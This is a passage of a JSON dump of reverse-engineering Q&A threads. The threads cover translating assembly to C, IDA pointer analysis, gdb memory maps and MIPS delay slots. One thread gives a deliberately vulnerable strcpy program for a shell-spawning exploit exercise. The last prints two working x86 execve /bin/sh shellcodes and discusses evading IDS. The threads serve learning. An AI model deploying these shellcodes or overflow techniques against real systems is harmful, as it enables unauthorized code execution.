        "Body": "<p>I have the following assembly (x64) function:</p>\n\n<pre><code>400700: sub  rsp,0x18\n400704: mov  QWORD PTR [rsp+0x8],rdi\n400709: cmp  QWORD PTR [rsp+0x8],0x0\n40070f: jne  400718 &lt;bar+0x18&gt;\n400711: mov  eax,0x0\n400716: jmp  400734 &lt;bar+0x34&gt;\n400718: mov  rax,QWORD PTR [rsp+0x8]\n40071d: sub  rax,0x1\n400721: mov  rdi,rax\n400724: call 400700 &lt;bar&gt;\n400729: mov  rdx,rax\n40072c: mov  rax,QWORD PTR [rsp+0x8]\n400731: add  rax,rdx\n400734: add  rsp,0x18\n400738: ret\n</code></pre>\n\n<p>I've figured out that the beginning part is just the header for any assembly program. Also, I think that the two QWORD are either from longs or characters. I'm guessing that the jne jump is probably a conditional statement, but I'm not too sure. It looks like the function is recursive since it has a line that calls \"bar\" again. </p>\n\n<p>My guess for the overall function is that it takes two longs and recursively adds them (Fibonacci, maybe?). I don't have much reasoning for this guess though, and I could be incorrect. </p>\n\n<p>Could anyone please help me solve this problem? Or, if there's a way for me to pass in parameters (I don't even know what kind of argument the function takes) and see the output, then I can try to backtrack and figure out what the program is doing. </p>\n\n<p>Thanks</p>\n",
        "Title": "How can I convert this assembly code (x64) to C?",
        "Tags": "|disassembly|assembly|x86-64|",
        "Answer": "<p>This function computes (in a recursive manner) the sum of the <code>n</code> first integers:</p>\n\n<pre><code>     400700: sub  rsp,0x18                 ; Align the stack\n     400704: mov  QWORD PTR [rsp+0x8],rdi  ; Store first argument on stack\n     400709: cmp  QWORD PTR [rsp+0x8],0x0  ; test (n == 0)\n  +--40070f: jne  400718 &lt;bar+0x18&gt;        ; jump to 400718 if (n != 0)\n  |  400711: mov  eax,0x0                  ; set return code to zero\n+-|--400716: jmp  400734 &lt;bar+0x34&gt;        ; jump to function end at 400734\n| +-&gt;400718: mov  rax,QWORD PTR [rsp+0x8]  ; Get 'n' in rax\n|    40071d: sub  rax,0x1                  ; n = n - 1\n|    400721: mov  rdi,rax                  ; Load 'n - 1' as first argument\n|    400724: call 400700 &lt;bar&gt;             ; recursive call to 'bar(n - 1)'\n|    400729: mov  rdx,rax                  ; Load bar(n-1) return code in rdx\n|    40072c: mov  rax,QWORD PTR [rsp+0x8]  ; Get current 'n' in rax\n|    400731: add  rax,rdx                  ; rax = n + bar(n - 1)\n+---&gt;400734: add  rsp,0x18                 ; Restore the stack\n     400738: ret                           ; return n + bar(n - 1)\n</code></pre>\n\n<p>Final code:</p>\n\n<pre><code>bar (long long int n)\n{\n  return (n) ? n + bar(n - 1) : 0;\n}\n</code></pre>\n\n<p>Frankly, I would have used the well known formula <code>n*(n+1)/2</code>...</p>\n"
    },
    {
        "Id": "19587",
        "CreationDate": "2018-10-09T22:56:17.273",
        "Body": "<p>I have the following code:</p>\n\n<pre><code>0000000000400526 &lt;main&gt;:\n  400526:   55                      push   rbp\n  400527:   48 89 e5                mov    rbp,rsp\n  40052a:   48 83 ec 20             sub    rsp,0x20\n  40052e:   89 7d ec                mov    DWORD PTR [rbp-0x14],edi\n  400531:   48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi\n  400535:   c7 45 f4 4d 3c 2b 1a    mov    DWORD PTR [rbp-0xc],0x1a2b3c4d\n  40053c:   48 8d 45 f4             lea    rax,[rbp-0xc]\n  400540:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n  400544:   c7 45 f0 00 00 00 00    mov    DWORD PTR [rbp-0x10],0x0\n  40054b:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40054f:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400552:   0f be c0                movsx  eax,al\n  400555:   c1 e0 18                shl    eax,0x18\n  400558:   89 c2                   mov    edx,eax\n  40055a:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40055e:   48 83 c0 01             add    rax,0x1\n  400562:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400565:   0f be c0                movsx  eax,al\n  400568:   c1 e0 10                shl    eax,0x10\n  40056b:   09 c2                   or     edx,eax\n  40056d:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400571:   48 83 c0 02             add    rax,0x2\n  400575:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400578:   0f be c0                movsx  eax,al\n  40057b:   c1 e0 08                shl    eax,0x8\n  40057e:   09 c2                   or     edx,eax\n  400580:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400584:   48 83 c0 03             add    rax,0x3\n  400588:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  40058b:   0f be c0                movsx  eax,al\n  40058e:   09 d0                   or     eax,edx\n  400590:   89 45 f0                mov    DWORD PTR [rbp-0x10],eax\n  400593:   8b 55 f0                mov    edx,DWORD PTR [rbp-0x10]\n  400596:   8b 45 f4                mov    eax,DWORD PTR [rbp-0xc]\n  400599:   89 c6                   mov    esi,eax\n  40059b:   bf 44 06 40 00          mov    edi,0x400644 ; \"a = %#x\\nb = %#x\\n\"\n  4005a0:   b8 00 00 00 00          mov    eax,0x0\n  4005a5:   e8 56 fe ff ff          call   400400 &lt;printf@plt&gt;\n  4005aa:   b8 00 00 00 00          mov    eax,0x0\n  4005af:   c9                      leave\n  4005b0:   c3                      ret\n  4005b1:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n  4005b8:   00 00 00\n  4005bb:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]\n</code></pre>\n\n<p>This is a segment of x64 assembly code, and I would like to rewrite this code into C. I've been reading Assembly books all day, and I'm still having some difficulty. I just want to understand what this code is doing. From messing around, I think that it performs some operations on an int (that's why I think the DWORD is there) and a long (that's why the QWORD is there). I think that this is true because I recompiled C code with those data structures and those words appeared in the Assembly equivalent, but I could be wrong.</p>\n\n<p>Any help is appreciated in decoding this code.'</p>\n\n<hr>\n\n<p><strong>For Amigag:</strong> second segment of code</p>\n\n<pre><code>0000000000400966 &lt;my_tolower&gt;:\n  400966:   55                      push   rbp\n  400967:   48 89 e5                mov    rbp,rsp\n  40096a:   48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi\n  40096e:   eb 2d                   jmp    40099d &lt;my_tolower+0x37&gt;\n  400970:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400974:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400977:   3c 40                   cmp    al,0x40\n  400979:   7e 1d                   jle    400998 &lt;my_tolower+0x32&gt;\n  40097b:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40097f:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400982:   3c 5a                   cmp    al,0x5a\n  400984:   7f 12                   jg     400998 &lt;my_tolower+0x32&gt;\n  400986:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40098a:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  40098d:   83 c0 20                add    eax,0x20\n  400990:   89 c2                   mov    edx,eax\n  400992:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400996:   88 10                   mov    BYTE PTR [rax],dl\n  400998:   48 83 45 f8 01          add    QWORD PTR [rbp-0x8],0x1\n  40099d:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  4009a1:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  4009a4:   84 c0                   test   al,al\n  4009a6:   75 c8                   jne    400970 &lt;my_tolower+0xa&gt;\n  4009a8:   90                      nop\n  4009a9:   5d                      pop    rbp\n  4009aa:   c3                      ret    \n  4009ab:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]\n</code></pre>\n",
        "Title": "Converting Assembly x64 code to C",
        "Tags": "|disassembly|assembly|decompilation|x86-64|",
        "Answer": "<p>I believe the best tool for rewriting assembly to C is IDA Graph View, which is toggled with <kbd>space</kbd>.<br>\nIt let you see the function as <a href=\"https://en.wikipedia.org/wiki/Basic_block\" rel=\"nofollow noreferrer\">Basic Blocks</a>, connected by control flow instructions. In this specific function, I cannot spot any jumps so you will see one long block.</p>\n\n<p>The first thing you usually see in a function is the function prologue which sets up the stack frame.</p>\n\n<pre><code>  400526:   55                      push   rbp\n  400527:   48 89 e5                mov    rbp,rsp\n  40052a:   48 83 ec 20             sub    rsp,0x20\n</code></pre>\n\n<p>second, as 64 bit calling convention suggests, the first parameters are passed by registers, other are passed on the stack.<br>\nThe used registers are os-dependent (see table 5 at <a href=\"http://agner.org/optimize/calling_conventions.pdf\" rel=\"nofollow noreferrer\">Agner Fog calling conventions</a>).<br>\nYou an see that the function probably gets 2 parameters (edi for 32 bit variable for <code>argc</code> and 64 bit for <code>argv</code>)</p>\n\n<p>You can see that a \"magic\" value (<code>0x1a2b3c4</code>) is saved in a local variable and a pointer to it is created. Note that when it's saved, it is stored as <a href=\"https://en.wikipedia.org/wiki/Endianness#Little-endian\" rel=\"nofollow noreferrer\">little-endian</a>, which means the order of bytes is reversed.</p>\n\n<pre><code>  400535:   c7 45 f4 4d 3c 2b 1a    mov    DWORD PTR [rbp-0xc],0x1a2b3c4d\n  40053c:   48 8d 45 f4             lea    rax,[rbp-0xc]\n  400540:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n</code></pre>\n\n<p>And his first byte is read to eax as a signed byte and multiplied by <code>2^0x18 (=2^24)</code>.\nThe fact that it's signed doesn't affect anything in this case, because the sign bit is always off (as <code>0x1a</code>, <code>0x2b</code>, <code>0x3c</code> and <code>0x4d</code> are all below 128)</p>\n\n<pre><code>  40054f:   0f b6 00                movzx  eax,BYTE PTR [rax]\n  400552:   0f be c0                movsx  eax,al\n  400555:   c1 e0 18                shl    eax,0x18\n</code></pre>\n\n<p>And in a similar way, a value is calculated using next bytes, multiplied by 0x10 (=16), 8 and 1 (implicitly) respectively. results are stored in edi, and <code>or</code>ed with the previous value.</p>\n\n<p>We can conclude that our function is something like that:</p>\n\n<pre><code>void main(int argc, char *argv[])\n{\n     int calculated_value;  // represents the use of edi to store the result\n     int magic_value = 0x1A2B3C4D;  // note that although i am using int, i mean uint32_t, a variable that has 4 bytes - a DWORD.\n     char *magic_ptr = (char *) &amp;magic_value;  // the values are read byte-by-byte, or char-by-char\n     calculated_value = magic_ptr[0] &lt;&lt; 24;\n     calculated_value |= magic_ptr[1] &lt;&lt; 16;\n     calculated_value |= magic_ptr[2] &lt;&lt; 8;\n     calculated_value |= magic_ptr[3];  // note that at the last or, the result is saved at eax as edi will soon be used to pass the first parameter to printf\n\n     printf(\"a = %#x\\nb = %#x\\n\", magic_value, calculated_value);\n}\n</code></pre>\n\n<p>So, what we can see is that the magic value is read back to a variable, while saving the little-endianness, which means we will get the reversed byte order if the <code>magic_value</code>.<br>\nThus, we can expect the output to be:</p>\n\n<blockquote>\n  <p>a = 0x1a2b3c4d<br>\n  b = 0x4d3c2b1a</p>\n</blockquote>\n\n<hr>\n\n<p>Also, as a general note, this code have could utilize loops to perform the read.</p>\n\n<pre><code>void main(int argc, char *argv[])\n{\n     int i;\n     int calculated_value = 0;  // represents the use of edi to store the result\n     int magic_value = 0x1A2B3C4D;  // note that although i am using int, i mean uint32_t, a variable that has 4 bytes - a DWORD.\n     char *magic_ptr = (char *) &amp;magic_value;  // the values are read byte-by-byte, or char-by-char\n     for(int i = 0; i &lt; 4; i++)\n     {\n         calculated_value &lt;&lt;= 8;\n         calculated_value = magic_ptr[i];\n     }\n     printf(\"a = %#x\\nb = %#x\\n\", magic_value, calculated_value);\n}\n</code></pre>\n\n<hr>\n\n<p>EDIT: As to your second code.\nHere we can see jumps, so I created a graph view of the code. it makes reading it much easier.<br>\nA bit of info on the graph: a green line means that the jump happens if a condition is met. A red line means that the jump happens if the condition is false. A blue line means that the jump is unconditional, it will always jump.<br>\nLet's go through it and see what happens.</p>\n\n<p><a href=\"https://i.stack.imgur.com/XkMa6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XkMa6.png\" alt=\"A graph view of the second code\"></a></p>\n\n<p>The first thing we get to see after the function prologue is a single parameter is saved at <code>rbp-0x8</code>.<br>\nOn the block of <code>0x40099d</code> we can see that the input is probably <code>char *ptr</code>, it dereference the pointer and read it's value.<br>\nFrom the <code>test al, al</code> we can assume that the value is a string (and not just binary data, it is <em>probably</em> related to user input) and we stop once we have read the null terminator (<code>\\x00</code> = 0).</p>\n\n<p>The next block we will check is <code>0x400970</code>. All it does is checking if the char pointed by <code>rbp-0x8</code> is smaller or equal to <code>0x40</code> (<code>0x40</code> is ascii for '@', <code>0x41</code> is 'A'). If it is, it <code>continue</code>s (the single-line block at <code>0x400998</code>).</p>\n\n<p>So far, our function is something like:</p>\n\n<pre><code>void my_tolower(char *str)\n{\n    while(str[i] != '\\x00')\n    {\n        if(str[i] &lt; 'A')  // as opposed to &lt;= '@'. I can't remember I saw a code ever caring about '@'.\n        {\n            str += 1;  // skipping the current character\n            continue;\n        }\n        // unknown code for now\n    }\n}\n</code></pre>\n\n<p>Looking at <code>0x40097b</code>, we can see a similar code, but it checks the character is smaller than <code>0x5A</code> (=ascii of <code>Z</code>). so we can write those conditions in a single if:</p>\n\n<pre><code>if(str[i] &lt; 'A' || str[i] &gt; 'Z')\n</code></pre>\n\n<p>Last block (<code>0x400986</code>). We now know that str[i] contains an upper-case letter.<br>\nThe code takes the character and add <code>0x20</code> to it. <code>0x20</code> is ascii for <code></code> (space) and (<code>a</code> - <code>A</code>). It saves the result back to the string and continues.</p>\n\n<pre><code>  400992:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  400996:   88 10                   mov    BYTE PTR [rax],dl\n</code></pre>\n\n<p>Looking at <code>0x4009a8</code>, no result is passed to <code>rax</code>, that means the function probably doesn't return a value.</p>\n\n<p>So, out functions look something like that:</p>\n\n<pre><code>void my_tolower(char *str)\n{\n    while(str[i] != '\\x00')\n    {\n        if(str[i] &lt; 'A' || str[i] &gt; 'Z')  // as opposed to &lt;= '@'. I can't remember I saw a code ever caring about '@'.\n        {\n            continue;\n        }\n        str[i] = str[i] + 'a' - 'A';\n        str += 1;\n    }\n}\n</code></pre>\n\n<p>We could also rewrite the function to show the single block that increments the pointer, which i believe is how the original code looked like. it makes more sense logically that we change the string if a condition was met, not if a condition is not met.</p>\n\n<pre><code>void my_tolower(char *str)  // name was taken from 4009a6 and the first line of function\n{\n    while(str[i] != '\\x00')\n    {\n        if(str[i] &gt;= 'A' &amp;&amp; str[i] &lt;= 'Z')  // as opposed to &lt;= '@'. I can't remember I saw a code ever caring about '@'.\n        {\n            str[i] = str[i] + 'a' - 'A';\n        }\n        str += 1;  // this is the block at 400998, that always happen\n    }\n}\n</code></pre>\n"
    },
    {
        "Id": "19594",
        "CreationDate": "2018-10-10T10:02:06.357",
        "Body": "<p>I am aware that many users on this forum are experts (developers) of IDA Pro. So I am tentatively inquiring some high-level ideas behind the point-to analysis of IDA Pro.</p>\n\n<p>According to my personal experience (I have been using IDA Pro 6.95 a lot for my binary code research), the point-to analysis implemented in IDA Pro is neither sound or complete. I am envisioning some heuristics are utilized to infer the value set in the code and data pointers. </p>\n\n<p>So here is my question:</p>\n\n<ol>\n<li><p>Could anyone shed a light on the point-to algorithm in IDA-Pro? I understood IDA-Pro is a commercial software so a high-level idea would be very much appreciated.</p></li>\n<li><p>What is the best practice to build a call graph with IDA Pro, considering we have decent amount of indirect calls which needs to be interred. </p></li>\n</ol>\n\n<p>The analysis platform could be ELF binaries on ARM, which seems relatively easier, comparing to x86.</p>\n",
        "Title": "Point-to analysis of IDA Pro",
        "Tags": "|ida|pointer|call-graph|ida-plugin|",
        "Answer": "<p>The topic of pointer analysis is an important part of theoretical static analysis. Many articles and academic publications have been written about pointer analysis, this is a heavily researched field.</p>\n\n<p>Besides the theoretical research, it is often an difficult issue to address even by skilled and trained reverse engineers. In certain cases it can be nearly impossible to retrieve the pointer without executing or emulating the relevant code.</p>\n\n<p>Therefore, for IDA Pro to provide a \"sound and complete\" solution, as you put it, is not a trivial task. This is highlighted by the fact this isn't really the disassembler's task.</p>\n\n<p>As for your specific questions:</p>\n\n<blockquote>\n  <ol>\n  <li>Could anyone shed a light on the point-to algorithm in IDA-Pro? I understood IDA-Pro is a commercial software so a high-level idea would be very much appreciated.</li>\n  </ol>\n</blockquote>\n\n<p>As far as I'm aware, IDA's pointer analysis is quite basic. Register calls are only resolved if they're directly assigned and there's isn't a lot of taint analysis. It is important to remember IDA is not a binary static analysis tool, IDA is a disassembler (and a decompiler). Taint analysis, constraint solving, call graph analysis etc are usually better done by tools designed specifically for those purposes. Having said that, IDA does make an effort to include heuristics to help with that type of thing.</p>\n\n<blockquote>\n  <ol start=\"2\">\n  <li>What is the best practice to build a call graph with IDA Pro, considering we have decent amount of indirect calls which needs to be interred.</li>\n  </ol>\n</blockquote>\n\n<p>So again, IDA isn't the best tool to build a call graph if you're mostly focused on those cases where call targets are difficult to resolve or there are plenty of constraints to consider.</p>\n\n<p>There are better tools for static binary analysis, as well as several questions about the topic here over RE.SO. My personal favorite is probably <a href=\"https://github.com/angr/angr\" rel=\"nofollow noreferrer\">angr</a>.</p>\n\n<p>I suggest you spend time researching the theoretical topic and available tools and approaches before going forward. </p>\n"
    },
    {
        "Id": "19598",
        "CreationDate": "2018-10-11T11:10:50.333",
        "Body": "<p>I want to find out the base address and the imagesize of the program being debugged in gdb. As in, where it got loaded in memory. For shared libraries I can do \"info sharedlibrary\"  and I get very nice output like so:</p>\n\n<pre><code>0x00007ffff7dd5f10  0x00007ffff7df4b20  Yes         /lib64/ld-linux-x86-64.so.2\n</code></pre>\n\n<p>How can i get this output for the main program i am debugging?</p>\n\n<p>I know that gdb disables ASLR and I could just inspect the ELF file myself to find out, but there has to be a way via gdb too. </p>\n\n<p>(Background: I am using gdb's mi, and I can keep a basic overview of where things are by parsing sharedlibrary-load messages. But it never sends such a message for the main program, which is the most important thing.)</p>\n\n<p>Thanks!</p>\n",
        "Title": "Find base address and memory size of program debugged in gdb",
        "Tags": "|debugging|gdb|debuggers|elf|",
        "Answer": "<p><code>info file</code> shows the memory map of the current process:</p>\n\n<pre><code>Local exec file:\n        `/bin/less', file type elf64-x86-64.\n        Entry point: 0x402080\n        0x0000000000400238 - 0x0000000000400254 is .interp\n        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag\n        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id\n        0x0000000000400298 - 0x00000000004002e0 is .gnu.hash\n        0x00000000004002e0 - 0x0000000000400b20 is .dynsym\n        0x0000000000400b20 - 0x0000000000400e7d is .dynstr\n        0x0000000000400e7e - 0x0000000000400f2e is .gnu.version\n        0x0000000000400f30 - 0x0000000000400fa0 is .gnu.version_r\n        0x0000000000400fa0 - 0x0000000000401000 is .rela.dyn\n        0x0000000000401000 - 0x0000000000401708 is .rela.plt\n        0x0000000000401708 - 0x0000000000401722 is .init\n        0x0000000000401730 - 0x0000000000401bf0 is .plt\n        0x0000000000401bf0 - 0x0000000000415824 is .text\n        0x0000000000415824 - 0x000000000041582d is .fini\n        0x0000000000415840 - 0x000000000041bd67 is .rodata\n        0x000000000041bd68 - 0x000000000041c90c is .eh_frame_hdr\n        0x000000000041c910 - 0x00000000004208e4 is .eh_frame\n        0x0000000000620e00 - 0x0000000000620e08 is .init_array\n        0x0000000000620e08 - 0x0000000000620e10 is .fini_array\n        0x0000000000620e10 - 0x0000000000620e18 is .jcr\n        0x0000000000620e18 - 0x0000000000620ff8 is .dynamic\n        0x0000000000620ff8 - 0x0000000000621000 is .got\n        0x0000000000621000 - 0x0000000000621270 is .got.plt\n        0x0000000000621280 - 0x000000000062500c is .data\n        0x00007fffff4001c8 - 0x00007fffff4001ec is .note.gnu.build-id in /lib64/ld-linux-x86-64.so.2\n        0x00007fffff4001f0 - 0x00007fffff4002ac is .hash in /lib64/ld-linux-x86-64.so.2\n        0x00007fffff4002b0 - 0x00007fffff40038c is .gnu.hash in /lib64/ld-linux-x86-64.so.2\n        0x00007fffff400390 - 0x00007fffff400630 is .dynsym in /lib64/ld-linux-x86-64.so.2\n</code></pre>\n\n<p>Lines without a filename at the end are those for the main executable.</p>\n"
    },
    {
        "Id": "19606",
        "CreationDate": "2018-10-12T15:16:09.790",
        "Body": "<p>I am statically reversing some software compiled for an Atheros AR7161 using radare2. This processor implements MIPS, and I do recall that MIPS has a branch delay slot. This is indeed noticeable in the disassembly because I can see instructions that should logically execute before branches being placed right after them.</p>\n\n<p>However, while analyzing some piece of code, I came across a beqz instruction for which assuming that the instruction after it should execute first does not make sense in the context of the program. I must admit that my analysis could be wrong, which is not unlikely; however, I have some doubts that I'd also like to clear:</p>\n\n<ul>\n<li><p>Do all branch/jump instructions always use the branch delay slot such that the instruction right after should logically execute first? If not, in which cases would it not?</p></li>\n<li><p>Is there some way to make radare2 show the logical execution order rather than the one encoded in the binary?</p></li>\n</ul>\n\n<p><strong>Edit</strong>: concretely, I am dealing with the following sequence:</p>\n\n<pre><code>beqz v0, &lt;some address&gt;\nlb v0, 0x40(sp)\n</code></pre>\n\n<p>I have a very diffuse picture in my head about these instruction going into the pipeline. I can picture the second instruction being fetched while the first one is being decoded; hence, execution of the branch delay slot should actually start. However, the branch instruction depends on the same register being modified by the instruction in the branch delay slot, so what will happen? Will the branch instruction evaluate the condition using the old register value, or the new one updated by lb?</p>\n\n<p>Thanks</p>\n",
        "Title": "Understanding branch delay slots for reversing MIPS",
        "Tags": "|radare2|mips|",
        "Answer": "<p>The instruction in the branch delay slot is evaluated after the branch (or jump) instruction. The execution of the instruction in the branch delay slot does not impact the evaluation of the branch condition.</p>\n\n<p>I have observed the branch delay slot be used for a few things:</p>\n\n<ul>\n<li>Last instruction of basic block leading up to the branch instruction\n\n<ul>\n<li>Branch test will not be dependent on the output of the calculation of the branch delay slot instruction</li>\n<li>Commonly seen with unconditional jumps/branches like <code>b</code>, <code>jal</code></li>\n</ul></li>\n<li>The first instruction of the the fall through block. \n\n<ul>\n<li>No side effects should be present if the branch is taken.</li>\n<li>Analysis will show that any registers impacted is not needed in the event the branch is taken</li>\n</ul></li>\n<li>The first instruction of block if the branch is taken\n\n<ul>\n<li>If there are multiple paths to the branch target, this instruction will likely be seen multiple times with the different branches</li>\n</ul></li>\n<li>The load of a conditional value, often for return values</li>\n</ul>\n\n<p><a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20180411-00/?p=98485\" rel=\"noreferrer\">This article</a> goes into detail about branch delay slots.</p>\n\n<p>As noted by Igor, the \"likely\" version of the branch instruction keeps the effects of the instruction in the branch delay slot only if the instruction is actually taken.</p>\n"
    },
    {
        "Id": "19607",
        "CreationDate": "2018-10-12T15:20:40.490",
        "Body": "<p>I'm trying to determine the destination address for call instructions. I can get this for calls that use an immediate but not for a call to an immediate-assigned register. How can I get the address of the function being called in a situation like this when Ida has inserted a pink comment with funcName?</p>\n\n<pre><code>mov eax, funcName\n...\ncall eax ; funcName\n</code></pre>\n",
        "Title": "IdaPython Get Call Destination for Register Operand",
        "Tags": "|ida|idapython|",
        "Answer": "<p>IDA has a specific mechanism for storing and reading references (either code, data or both) to and from a specific instruction. That mechanism works whenever IDA successfully resolves a reference, which may not always be the case (think of <code>call eax</code> where <code>eax</code> is not easily resolved staticly). You should use that interface for all types of calls.</p>\n\n<p>The function that best suits your use case is probably <a href=\"https://github.com/idapython/src/blob/master/python/idautils.py#L68\" rel=\"nofollow noreferrer\"><code>idautils.CodeRefsFrom</code></a> which accepts two parameters <code>ea</code> and <code>flow</code> and returns a generator for all code references from given <code>ea</code>. <code>flow</code> is a boolean used to control whether you wish the next instruction included.</p>\n\n<p>There are a bunch of other related functions, such as <code>CodeRefsTo</code>, <code>DataRefsFrom</code>, <code>XrefsTo</code>, etc... </p>\n"
    },
    {
        "Id": "19615",
        "CreationDate": "2018-10-13T17:36:04.843",
        "Body": "<p>First off we don't have ASLR and stack cookie, and assume we can't create our own files on this system</p>\n\n<p>So I'm trying to execute a shellcode in this code, this is what i have done so far:</p>\n\n<p>i have managed to overwrite the buffer and set the return address of function foo to function critical, but my problem is how to run a specific shellcode here? the execv will run the bin/sh but i can't replace the first argument with a shellcode and it won't work and I'm not sure if its even possible to run a shellcode with execv, and when i pass a shellcode to sh it doesn't work.</p>\n\n<p>also i know the return to libc exploit but still don't know how to execute a shellcode with system()? is it even possible to pass a shellcode to it? or maybe i can use another function to just pass a shellcode to it? </p>\n\n<p>And i assume we can run our own shellcode if we created our own shellcode file and replaced the sh path, but we don't have access to create files, we have to do it with this code only.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n\nint bar(char *arg, char *out)\n    {\n      strcpy(out, arg);\n      return 0;\n    }\n\n    int foo(char *arg)\n    {\n      char buffer1[100]=\"Test program.\\n\";\n      char buffer2[100];\n      bar(arg, buffer2);\n      printf(\"%s\",buffer1);\n      return 0;\n    }\n\n    void critical()\n    {\n      char *msg[]={\"/bin/sh\",NULL};\n      execv(msg[0],msg);\n    }\n\n    int main(int argc, char *argv[])\n    {\n      if (argc != 2)\n      {\n        fprintf(stderr, \"prog_vuln2: argc != 2\\n\");\n        exit(EXIT_FAILURE);\n      }\n      foo(argv[1]);\n      return 0;\n    }\n</code></pre>\n",
        "Title": "How to execute a specific shellcode with a non executable stack without using format string? (without ASLR and stack cookie)",
        "Tags": "|buffer-overflow|stack|shellcode|",
        "Answer": "<p>You are correct that you can't pass your shellcode to execv(), but that's not the idea.  What you require is to change the return address from the call to foo() to point to critical(), so that execv() receives the path \"/bin/sh\" as the parameter.  Normally, your shellcode would be the contents of critical() itself, and the return address would point to the buffer that holds the critical() function.</p>\n"
    },
    {
        "Id": "19621",
        "CreationDate": "2018-10-14T07:03:14.413",
        "Body": "<p>I have found two shellcodes for spawning <code>/bin/sh</code> which are much different from each other. The second one is hardly ever found on the net, and it mostly comes up in reverse engineering websites:</p>\n\n<pre><code>1. \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\"\n   \"\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80\";\n</code></pre>\n\n<p><a href=\"http://shell-storm.org/shellcode/files/shellcode-811.php\" rel=\"nofollow noreferrer\">http://shell-storm.org/shellcode/files/shellcode-811.php</a></p>\n\n<pre><code>2.  \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n    \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n    \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"\n</code></pre>\n\n<p><a href=\"http://phrack.org/issues/49/14.html\" rel=\"nofollow noreferrer\">http://phrack.org/issues/49/14.html</a></p>\n\n<p><a href=\"https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me\">https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me</a></p>\n\n<p>So:</p>\n\n<ol>\n<li><p>What is the difference and which one is better to use?</p></li>\n<li><p>Can you explain in detail what each of them do? For example why there is a  push <code>0x68732f2f</code> in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE? </p></li>\n<li><p>Why are these shellcodes so much different if they do the same thing? </p></li>\n</ol>\n",
        "Title": "Why there are two different shellcodes for bin/sh with much different syntax and which one is better to use? (x86)",
        "Tags": "|disassembly|assembly|x86|",
        "Answer": "<blockquote>\n  <ol>\n  <li>What is the difference and which one is better to use?</li>\n  </ol>\n</blockquote>\n\n<p>The second one you cite is coming from a historical paper (\"<em>Smashing The Stack For Fun And Profit</em>\" by Aleph One in Phrack #49, 1996) (note that you removed the final '/bin/sh' which ruins totally the shellcode). It is probably the most well known explanation of what is a buffer-overflow and how to exploit it. The article itself comes with this shellcode which has been used as it is by numerous people to learn and to exploit in the wild.</p>\n\n<p>Nowadays, this shellcode will be detected if sent in clear on the network by most of the IDS (Intrusion Detection Systems) and stopped before it reaches its target. Moreover, it is an educational shellcode (read the paper, AlephOne explain how to build such a shellcode), so it is a bit big for a shellcode.</p>\n\n<p>So, the second shellcode is well-known and big, two reasons to not use it except if you want to understand what it does and how to write such thing.</p>\n\n<p>The first shellcode you pointed, is designed to take the less space possible (only 28 bytes compared to 46 with the second). It may be useful to have a small shellcode because sometimes you will have only a small memory space to write it. So, if your shellcode is too big, it won't execute properly.</p>\n\n<blockquote>\n  <ol start=\"2\">\n  <li>Can you explain in detail what each of them do? For example why there is a  push <code>$0x68732f2f</code> in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE? </li>\n  </ol>\n</blockquote>\n\n<p>This is not an address, it is the string <code>//sh</code> (in little-endian), look at the character <code>0x2f</code> which is <code>/</code> (in ASCII code) repeated twice and, then, <code>sh</code>.</p>\n\n<p>Concerning ASLR and PIE, these security mechanisms came a few years after shellcodes. ASLR was designed to prevent easy exploitation of buffer-overflow by randomizing addresses. This is not the worst thing against buffer-overflow exploitation and shellcodes, in fact. The worst is NX (non-executable stack). And, in fact, since NX is here we are now using ROP (Return-Oriented Programming) better than shellcode (but I guess this will be your next step once you understand these shellcodes).</p>\n\n<p>If you want to understand fully the shellcode, read the Aleph One paper... </p>\n\n<p>This is the best explanation I know about it.</p>\n\n<blockquote>\n  <ol start=\"3\">\n  <li>Why are these shellcodes so much different if they do the same thing? </li>\n  </ol>\n</blockquote>\n\n<p>They vary in shapes and size because of the IDS, once a shellcode is common, it can be scanned and found in TCP/IP packets and stopped during an attack through the network. That is why there 